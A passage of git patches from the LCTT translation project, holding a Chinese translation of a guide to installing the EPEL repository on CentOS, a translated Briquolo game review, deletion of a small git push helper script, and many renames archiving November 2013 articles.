--------------------------------------------------------------------------------- - -via: http://www.binarytides.com/setup-epel-repository-centos/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:https://fedoraproject.org/wiki/EPEL -[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html -[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html -[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm \ No newline at end of file diff --git a/translated/How to setup EPEL repository on CentOS 5 or 6.md b/translated/How to setup EPEL repository on CentOS 5 or 6.md new file mode 100644 index 0000000000..ce884293f8 --- /dev/null +++ b/translated/How to setup EPEL repository on CentOS 5 or 6.md @@ -0,0 +1,101 @@ + +如何在CentOS 5/6上安装EPEL 源 +================================================================================ +（ps:这篇翻得很吃力，麻烦校对大人了 ToT） +（ps2:原文第五个链接失效，已修正） +EPEL 是什么？ + +EPEL (Extra Packages for Enterprise Linux) 是Fedora 小组维护的一个项目。这个项目是一个软件仓库，为RHEL/CentOS 提供他们所不默认提供的软件包。这个源兼容RHEL 和像CentOS 和Scientific Linux 这样所有由其衍生出来的版本。 + +我们可以轻易地通过yum 命令从EPEL 源上获取上万个在CentOS 自带源上没有的软件。EPEL 提供的软件包大多基于Fedora ，不会与企业版Linux 发行版本的软件发生冲突或互相替换文件。 + +更多关于EPEL 项目的细节可以到以下网站获取。 + +[https://fedoraproject.org/wiki/EPEL][1] + +在文本中，我将展示在CentOS 下如何安装EPEL 源 + +> 提示 - RHEL/CentOS 系统有着太多的第三方源，比较流行的比如RpmForge， RpmFusion， EPEL， Remi等等。 +> +> 然而需要时刻注意的是，如果系统添加了多个第三方源，可能会因此产生冲突——一个软件包从多个源获取，一些源会替换系统的基础软件包可能会产生意想不到的错误。已知的就有Rpmforge 与EPEL 会产生冲突。 +> +> +> 对于这些问题我们建议，调整源的优先权或者有选择性的安装源，但是这需要复杂的操作，如果你不确定如何操作，我们推荐你只安装一个第三方源。 + +### 在CentOS 上安装EPEL ### + +要想安装EPEL，我们先要下载EPEL 的rpm安装包。 +CentOS/RHEL 下的6.x 和5.x 版本下载页面如下 + +[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] +[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] + +以上网址可能会为了获取更快的下载速度，被重定向到特地的镜像站。这页面包含可以直接获取到rpm 包的下载链接。直接的下载链接如下 + +[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] +[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] + +根据你的CentOS 版本来选择正确的下载地址。 +请注意EPEL 的安装包是独立编译的，所以它可以安装在32位和64位系统中。 + +### 1. 确认你的CentOS 的版本 ### + +首先通过以下命令确认你的CentOS 版本 + + + $ cat /etc/redhat-release + CentOS release 6.4 (Final) + +### 2. 下载EPEL 的rpm 安装包 ### + +现在从上面的地址下载CentOS 版本所对应的EPEL 的版本 + + $ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + +### 3. 安装EPEL ### + +通过以下命令安装EPEL 软件包 + + $ sudo rpm -ivh epel-release-6-8.noarch.rpm + or + $ sudo rpm -ivh epel-release* + +### 5. 检查EPEL 源 ### + +安装好EPEL 源后，用yum 命令来检查是否添加到源列表 + + # yum repolist + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: mirrors.vonline.vn + * epel: buaya.klas.or.id + * extras: centos-hn.viettelidc.com.vn + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,023 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + updates CentOS-6 - Updates 1,555 + repolist: 18,019 + +EPEL 已经在repo 后列出，并且显示提供了上万个软件包，所以EPEL 已经安装到你的CentOS了。 +EPEL 源已经安装到**/etc/yum.repos.d/epel.repo** 文件。 + +现在来试一下从EPEL 获取软件包 + + $ sudo yum install htop + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-epel-repository-centos/ + +译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fedoraproject.org/wiki/EPEL +[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html +[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html +[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm +[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm \ No newline at end of file From 4954aad2a7e323b3b0f8608e10d299fb49f73e7b Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Mon, 2 Dec 2013 22:05:12 +0800 Subject: [PATCH 084/148] =?UTF-8?q?=E5=B7=B2=E7=BF=BB=E8=AF=91=E3=80=80by?= =?UTF-8?q?=20Luox?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...lexes with Briquolo, fast breakout game.md | 25 ------------------ ...lexes with Briquolo, fast breakout game.md | 26 +++++++++++++++++++ 2 files changed, 26 insertions(+), 25 deletions(-) delete mode 100644 sources/Test your reflexes with Briquolo, fast breakout game.md create mode 100644 translated/Test your reflexes with Briquolo, fast breakout game.md diff --git a/sources/Test your reflexes with Briquolo, fast breakout game.md b/sources/Test your reflexes with Briquolo, fast breakout game.md deleted file mode 100644 index 0770027d9c..0000000000 --- a/sources/Test your reflexes with Briquolo, fast breakout game.md +++ /dev/null @@ -1,25 +0,0 @@ - 这个不错　　我要占坑 -Test your reflexes with Briquolo, fast breakout game -================================================================================ -[Briquolo][2] is a fast captivating breakout game that adopts the classic enjoyable game of dealing with a ball, in order to destroy various objects. - -Briquolo comes with an agile nature, therefore, the gamer is to be attentive while reflecting back the ball, a second of inattention and the ball is lost. - -Launching the game, the user is to notice its 3D look, the brave board is moved on top of a colorful environment featuring 3D objects, game arena where power-ups prove themselves vital, not succeeding to get the board-increasing goodies, the gamer decreases one's ability to complete the stage against the sprint-like attribute of the ball. - -Pleasant effects, according-to music and tweakable options (including the ability to set the game in fullscreen mode with high resolutions,--including 1920x1080--) present Briquolo as entertaining and challenging. - -![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg) - -Briquolo 0.5.7 is freely [available][2] for installation via Ubuntu Software Center (Ubuntu 12.04, Ubuntu 12.10, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04). - --------------------------------------------------------------------------------- - -via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://briquolo.free.fr/en/ -[2]:apt://briquolo diff --git a/translated/Test your reflexes with Briquolo, fast breakout game.md b/translated/Test your reflexes with Briquolo, fast breakout game.md new file mode 100644 index 0000000000..1173cd42f0 --- /dev/null +++ b/translated/Test your reflexes with Briquolo, fast breakout game.md @@ -0,0 +1,26 @@ +用Briquolo,打砖块游戏,测试你的反应速度 + +================================================================================ + +[Briquolo][2]是一款快速而又迷人的游戏，处理一个球来破坏不同的物体，经典而又令人愉悦。 + +Briquolo十分考验敏捷，因此，游戏玩家必需时刻注意球的走向，一不留神就可能让球掉落。 + +启动游戏后，玩家会意识到这是一款3D游戏，以3D对象展现的华丽木块浮动在一个多彩的环境里，当击破木块时有机率掉落特殊物体，毫无疑问获取它们是至关重要的，会改变球或滑板的状态，比如球会加速，但有时候也会给你带来麻烦。 + +通过音乐和其他选项的修改，到达精致的效果(包括游戏全屏，高分辨率，--可调至1920×1080--)呈现一个有趣而又富有挑战性的Briquolo。 + +![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg) + +Briquolo　0.5.7是[可靠的][2]自由软件,可通过Ubuntu软件中心安装(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://briquolo.free.fr/en/ +[2]:apt://briquolo From afdf5381d311d5073bf3301471abc074e67d7955 Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Mon, 2 Dec 2013 22:06:49 +0800 Subject: [PATCH 085/148] Update Test your reflexes with Briquolo, fast breakout game.md --- .../Test your reflexes with Briquolo, fast breakout game.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Test your reflexes with Briquolo, fast breakout game.md b/translated/Test your reflexes with Briquolo, fast breakout game.md index 1173cd42f0..e794f060e8 100644 --- a/translated/Test your reflexes with Briquolo, fast breakout game.md +++ b/translated/Test your reflexes with Briquolo, fast breakout game.md @@ -18,7 +18,7 @@ Briquolo　0.5.7是[可靠的][2]自由软件,可通过Ubuntu软件中心安装( via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 838230a4311edf03a4d63f6140ab4af11eb7576c Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Mon, 2 Dec 2013 22:10:00 +0800 Subject: [PATCH 086/148] =?UTF-8?q?Luox=E7=BF=BB=E8=AF=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Setup a jailed shell with jailkit on ubuntu.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/Setup a jailed shell with jailkit on ubuntu.md b/sources/Setup a jailed shell with jailkit on ubuntu.md index 181caa20e1..806d293e9f 100644 --- a/sources/Setup a jailed shell with jailkit on ubuntu.md +++ b/sources/Setup a jailed shell with jailkit on ubuntu.md @@ -1,3 +1,5 @@ + 我不入监狱　　谁入监狱 + Setup a jailed shell with jailkit on ubuntu ================================================================================ ### Jailed Shell and Jailkit ### @@ -216,4 +218,4 @@ via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/ [9]: [10]: [11]: -[12]: \ No newline at end of file +[12]: From 67924b5f6e63adc123c5d9aeb70393394864eb33 Mon Sep 17 00:00:00 2001 From: crowner Date: Mon, 2 Dec 2013 23:00:08 +0800 Subject: [PATCH 087/148] Delete acp.sh --- acp.sh | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 acp.sh diff --git a/acp.sh b/acp.sh deleted file mode 100644 index eab77e3d5b..0000000000 --- a/acp.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh -git add . -git commit -am "$1" -git push origin gh-pages From 708516c1772f03b7ed08d96755f90aa8ca6e342d Mon Sep 17 00:00:00 2001 From: crowner Date: Mon, 2 Dec 2013 23:00:22 +0800 Subject: [PATCH 088/148] Delete acp.txt --- acp.txt | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 acp.txt diff --git a/acp.txt b/acp.txt deleted file mode 100644 index eab77e3d5b..0000000000 --- a/acp.txt +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh -git add . -git commit -am "$1" -git push origin gh-pages From 0f5d5345dbc24ed00e722b31727e936ba0c53d68 Mon Sep 17 00:00:00 2001 From: wxy Date: Mon, 2 Dec 2013 23:08:48 +0800 Subject: [PATCH 089/148] =?UTF-8?q?=E5=BD=92=E6=A1=A3201311?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../{ => 201311}/10 Lesser Known Commands for Linux – Part 3.md | 0 published/{ => 201311}/10 Lesser Known Linux Commands – Part 2.md | 0 .../{ => 201311}/10 Things To Do After Installing Ubuntu 13.10.md | 0 .../10 Years of Xen--Transforming a Dinosaur Into a Bird.md | 0 .../11 Basic Linux Interview Questions and Answers.md | 0 .../{ => 201311}/12 Practical Examples of Linux grep Command.md | 0 ...ys to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md | 0 ...inux Uname Command Examples To Get Operating System Details.md | 0 published/{ => 201311}/Apache OpenOffice vs. LibreOffice.md | 0 .../{ => 201311}/CISCO Announce New Open Source H.264 Codec.md | 0 ...Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md | 0 ...l Juju GUI 0.11 released with new features and enhancements.md | 0 published/{ => 201311}/Core algorithms deployed.md | 0 .../Create And Manage Encrypted Folders in Linux With encfs.md | 0 .../Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md | 0 ...aily Ubuntu Tips – Change Samba Workgroup And Computer Name.md | 0 ... Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md | 0 ...untu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md | 0 .../Daily Ubuntu Tips – How To Change Your Computer Name.md | 0 .../Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md | 0 .../Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md | 0 .../Daily Ubuntu Tips–Change The Logon Screen Background.md | 0 ... Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md | 0 published/{ => 201311}/Deciphering Top.md | 0 .../Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md | 0 published/{ => 201311}/Five Examples Of The ping Utility.md | 0 ...rks 3.1 demoed as running on Ubuntu with native look & feel.md | 0 .../How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md | 0 .../How to Control Your Linux PC with an Android Device.md | 0 .../How to Install Linux Kernel 3.12 in Ubuntu 13.10.md | 0 .../How to Install Ubuntu Touch 13.10 on Your Phone.md | 0 ... to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md | 0 ...t Up Secure Remote Networking with OpenVPN on Linux, Part 1.md | 0 ...t Up Secure Remote Networking with OpenVPN on Linux, Part 2.md | 0 .../{ => 201311}/How to add icons to menus in Ubuntu 13.10.md | 0 .../How to add kernel boot parameters via GRUB on Linux.md | 0 .../How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md | 0 .../How to create desktop shortcut or launcher on Linux.md | 0 published/{ => 201311}/How to manage Linux server with GUI.md | 0 .../{ => 201311}/How to monitor system temperature on Linux.md | 0 ...set up web-based network traffic monitoring system on Linux.md | 0 published/{ => 201311}/Install Apache With SSL in Ubuntu 13.10.md | 0 .../{ => 201311}/Install Ubuntu 13.10 Server Step by Step.md | 0 .../{ => 201311}/Install qBittorrent 3.1.0 in Ubuntu via PPA.md | 0 ... Trading Research Environment using Ubuntu Linux and Python.md | 0 ...DE and Canonical Conflict Over Mir Finally Bursts into Open.md | 0 .../Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md | 0 .../Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md | 0 .../Linux Pmap Command – Find How Much Memory Process Use.md | 0 .../{ => 201311}/Linux diff Command Explained With Examples.md | 0 ... First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md | 0 published/{ => 201311}/Making Linux More Accessible.md | 0 ...egrets the “Tea Party” Remarks and Other Canonical Mistakes.md | 0 ... Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md | 0 ...ponen--Open Source Software Will Make the World More Secure.md | 0 published/{ => 201311}/On Security Backdoors.md | 0 .../Options in Linux RPM Command to Query Packages.md | 0 .../Outreach Program for Women Seeks New Linux Kernel Interns.md | 0 .../{ => 201311}/Package Management Using YUM In Red Hat Linux.md | 0 published/{ => 201311}/Raspberry Pi--the Perfect Home Server.md | 0 .../Red Hat Fedora 20 Linux--New Networking, ARM Features.md | 0 published/{ => 201311}/Red Hat prepares for 64-bit ARM servers.md | 0 ...kly Paste Text Snippets With This Nifty Unity Launcher Tool.md | 0 .../Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md | 0 ...hy closed source is better than open source, or so it seems.md | 0 .../Suse Linux Enterprise expands regular support to 10 years.md | 0 ...tem-information tool I-Nex 0.5.4 released with improvements.md | 0 ...n Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md | 0 .../{ => 201311}/The future of Linux--Evolving everywhere.md | 0 .../Trusty Tahr daily builds available for download.md | 0 ...s. openSUSE--Weighing different styles of corporate control.md | 0 .../{ => 201311}/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md | 0 ... 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Windows.md (100%) rename published/{ => 201311}/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md (100%) rename published/{Linux Commands => 201311}/Linux Pmap Command – Find How Much Memory Process Use.md (100%) rename published/{ => 201311}/Linux diff Command Explained With Examples.md (100%) rename published/{ => 201311}/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md (100%) rename published/{ => 201311}/Making Linux More Accessible.md (100%) rename published/{ => 201311}/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md (100%) rename published/{ => 201311}/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md (100%) rename published/{ => 201311}/Mikko Hypponen--Open Source Software Will Make the World More Secure.md (100%) rename published/{ => 201311}/On Security Backdoors.md (100%) rename published/{ => 201311}/Options in Linux RPM Command to Query Packages.md (100%) rename published/{ => 201311}/Outreach Program for Women Seeks New Linux Kernel Interns.md (100%) rename published/{ => 201311}/Package Management Using YUM In Red Hat Linux.md (100%) rename published/{ => 201311}/Raspberry Pi--the Perfect Home Server.md (100%) rename published/{ => 201311}/Red Hat Fedora 20 Linux--New Networking, ARM Features.md (100%) rename published/{ => 201311}/Red Hat prepares for 64-bit ARM servers.md (100%) rename published/{ => 201311}/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md (100%) rename published/{ => 201311}/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md (100%) rename published/{ => 201311}/Seven reasons why closed source is better than open source, or so it seems.md (100%) rename published/{ => 201311}/Suse Linux Enterprise expands regular support to 10 years.md (100%) rename published/{ => 201311}/System-information tool I-Nex 0.5.4 released with improvements.md (100%) rename published/{ => 201311}/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md (100%) rename published/{ => 201311}/The future of Linux--Evolving everywhere.md (100%) rename published/{ => 201311}/Trusty Tahr daily builds available for download.md (100%) rename published/{ => 201311}/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md (100%) rename published/{ => 201311}/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md (100%) rename published/{ => 201311}/Using Wine to Play Games On Linux？ Here’s Why You Should Switch To Steam Right Now.md (100%) rename published/{ => 201311}/gcp – Advanced Command Line File Copier Inspired By cp.md (100%) rename published/{ => 201311}/ncdu – Ncurses Based Disk Usage Utility.md (100%) rename published/{ => 201311}/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md (100%) diff --git a/published/10 Lesser Known Commands for Linux – Part 3.md b/published/201311/10 Lesser Known Commands for Linux – Part 3.md similarity index 100% rename from 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published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md diff --git a/published/11 Basic Linux Interview Questions and Answers.md b/published/201311/11 Basic Linux Interview Questions and Answers.md similarity index 100% rename from published/11 Basic Linux Interview Questions and Answers.md rename to published/201311/11 Basic Linux Interview Questions and Answers.md diff --git a/published/12 Practical Examples of Linux grep Command.md b/published/201311/12 Practical Examples of Linux grep Command.md similarity index 100% rename from published/12 Practical Examples of Linux grep Command.md rename to published/201311/12 Practical Examples of Linux grep Command.md diff --git a/published/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md b/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md similarity index 100% rename from published/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md rename to published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md diff --git a/published/9 Linux Uname Command Examples To Get Operating System Details.md b/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md similarity index 100% rename from published/9 Linux Uname Command Examples To Get Operating System Details.md rename to published/201311/9 Linux Uname Command Examples To Get Operating System Details.md diff --git a/published/Apache OpenOffice vs. LibreOffice.md b/published/201311/Apache OpenOffice vs. LibreOffice.md similarity index 100% rename from published/Apache OpenOffice vs. LibreOffice.md rename to published/201311/Apache OpenOffice vs. LibreOffice.md diff --git a/published/CISCO Announce New Open Source H.264 Codec.md b/published/201311/CISCO Announce New Open Source H.264 Codec.md similarity index 100% rename from published/CISCO Announce New Open Source H.264 Codec.md rename to published/201311/CISCO Announce New Open Source H.264 Codec.md diff --git a/published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/published/201311/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md similarity index 100% rename from published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md rename to published/201311/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md diff --git a/published/Cloud tool Juju GUI 0.11 released with new features and enhancements.md b/published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md similarity index 100% rename from published/Cloud tool Juju GUI 0.11 released with new features and enhancements.md rename to published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md diff --git a/published/Core algorithms deployed.md b/published/201311/Core algorithms deployed.md similarity index 100% rename from published/Core algorithms deployed.md rename to published/201311/Core algorithms deployed.md diff --git a/published/Create And Manage Encrypted Folders in Linux With encfs.md b/published/201311/Create And Manage Encrypted Folders in Linux With encfs.md similarity index 100% rename from published/Create And Manage Encrypted Folders in Linux With encfs.md rename to published/201311/Create And Manage Encrypted Folders in Linux With encfs.md diff --git a/published/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/published/201311/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md similarity index 100% rename from published/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md rename to published/201311/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md diff --git a/published/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/published/201311/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md similarity index 100% rename from published/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md rename to published/201311/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md diff --git a/published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/published/201311/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md similarity index 100% rename from published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md rename to published/201311/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md diff --git a/published/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/published/201311/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md similarity index 100% rename from published/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md rename to published/201311/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md diff --git a/published/Daily Ubuntu Tips – How To Change Your Computer Name.md b/published/201311/Daily Ubuntu Tips – How To Change Your Computer Name.md similarity index 100% rename from published/Daily Ubuntu Tips – How To Change Your Computer Name.md rename to published/201311/Daily Ubuntu Tips – How To Change Your Computer Name.md diff --git a/published/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md b/published/201311/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md similarity index 100% rename from published/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md rename to published/201311/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md diff --git a/published/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md b/published/201311/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md similarity index 100% rename from published/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md rename to published/201311/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md diff --git a/published/Daily Ubuntu Tips–Change The Logon Screen Background.md b/published/201311/Daily Ubuntu Tips–Change The Logon Screen Background.md similarity index 100% rename from published/Daily Ubuntu Tips–Change The Logon Screen Background.md rename to published/201311/Daily Ubuntu Tips–Change The Logon Screen Background.md diff --git a/published/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md b/published/201311/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md similarity index 100% rename from published/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md rename to published/201311/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md diff --git a/published/Deciphering Top.md b/published/201311/Deciphering Top.md similarity index 100% rename from published/Deciphering Top.md rename to published/201311/Deciphering Top.md diff --git a/published/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md b/published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md similarity index 100% rename from published/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md rename to published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md diff --git a/published/Five Examples Of The ping Utility.md b/published/201311/Five Examples Of The ping Utility.md similarity index 100% rename from published/Five Examples Of The ping Utility.md rename to published/201311/Five Examples Of The ping Utility.md diff --git a/published/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md b/published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md similarity index 100% rename from published/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md rename to published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md diff --git a/published/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md b/published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md similarity index 100% rename from published/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md rename to published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md diff --git a/published/How to Control Your Linux PC with an Android Device.md b/published/201311/How to Control Your Linux PC with an Android Device.md similarity index 100% rename from published/How to Control Your Linux PC with an Android Device.md rename to published/201311/How to Control Your Linux PC with an Android Device.md diff --git a/published/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md b/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md similarity index 100% rename from published/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md rename to published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md diff --git a/published/How to Install Ubuntu Touch 13.10 on Your Phone.md b/published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md similarity index 100% rename from published/How to Install Ubuntu Touch 13.10 on Your Phone.md rename to published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md diff --git a/published/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md b/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md similarity index 100% rename from published/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md rename to published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md diff --git a/published/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md similarity index 100% rename from published/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md rename to published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md diff --git a/published/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md similarity index 100% rename from published/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md rename to published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md diff --git a/published/How to add icons to menus in Ubuntu 13.10.md b/published/201311/How to add icons to menus in Ubuntu 13.10.md similarity index 100% rename from published/How to add icons to menus in Ubuntu 13.10.md rename to published/201311/How to add icons to menus in Ubuntu 13.10.md diff --git a/published/How to add kernel boot parameters via GRUB on Linux.md b/published/201311/How to add kernel boot parameters via GRUB on Linux.md similarity index 100% rename from published/How to add kernel boot parameters via GRUB on Linux.md rename to published/201311/How to add kernel boot parameters via GRUB on Linux.md diff --git a/published/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md b/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md similarity index 100% rename from published/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md rename to published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md diff --git a/published/How to create desktop shortcut or launcher on Linux.md b/published/201311/How to create desktop shortcut or launcher on Linux.md similarity index 100% rename from published/How to create desktop shortcut or launcher on Linux.md rename to published/201311/How to create desktop shortcut or launcher on Linux.md diff --git a/published/How to manage Linux server with GUI.md b/published/201311/How to manage Linux server with GUI.md similarity index 100% rename from published/How to manage Linux server with GUI.md rename to published/201311/How to manage Linux server with GUI.md diff --git a/published/How to monitor system temperature on Linux.md b/published/201311/How to monitor system temperature on Linux.md similarity index 100% rename from published/How to monitor system temperature on Linux.md rename to published/201311/How to monitor system temperature on Linux.md diff --git 